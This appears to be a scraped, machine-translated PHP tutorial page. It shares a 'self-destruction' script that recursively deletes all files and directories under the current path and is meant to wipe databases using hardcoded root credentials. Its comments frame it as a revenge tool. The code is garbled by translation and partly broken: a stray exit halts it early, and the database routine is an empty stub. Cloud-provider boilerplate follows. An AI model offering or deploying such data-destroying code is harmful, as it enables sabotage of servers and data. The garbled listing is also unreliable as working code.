PHP self-destruction program (use with caution)

Source: Internet
Author: User
This article mainly introduces PHP self-destruction program, which can recursively delete the current directory and database, and uninstall the current program. users should exercise caution when using it, for more information about PHP self-destruction, see the example in this article. Share it with you for your reference. The specific implementation method is as follows:

<? Php // + ------------------------------------------------------------------------ // | Kill !! // | The program will clear all files and directories in the current directory. // | if the database information is set, try to delete all databases and table data (if the permission is sufficient !) // + Versions // | Version: $ Id $ // + versions // ---------- database configuration region ----------------- // the force of revenge is terrible, so you do not need to specify a database, delete all! Define ('Db _ user', 'root'); define ('Db _ pwd', 'root'); define ('Db _ host', 'localhost '); define ('Db _ port', '000000'); define ('Db _ damage', true); // if it is false, the database run () is not touched (); /*** the subject idea must be brilliant! ** @ Return void **/function run () {// delete the deletedir () file; // delete the deleteDB ();}/*** heh, delete all files in the current directory (recursive) ** @ return void **/function deletedir ($ dir = '') {if ($ dir = '') {$ dir = realpath ('. ');} echo $ dir; exit (); if (! Handle = @ opendir ($ dir) {// Check whether there is a die in the directory to be opened ("no directory");} while (false! ==( $ File = readdir ($ handle) {if ($ file! = "." & $ File! = ".. ") {// Exclude the current directory and the parent directory $ file = $ dir. DIRECTORY_SEPARATOR. $ file; if (is_dir ($ file) {deletedir ($ file);} else {if (@ unlink ($ file) {echo "file$ FileDeleted successfully.
";} Else {echo" file$ FileDeletion failed!
";}}} If (@ rmdir ($ dir) {echo" directory$ DirDeleted successfully.
\ N ";} else {echo" directory$ DirDeletion failed!
\ N ";}}/*** heheh, delete the database ** @ return void **/function deleteDB () {if (DB_DAMAGE = true) {// start }}

I hope this article will help you with php programming.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.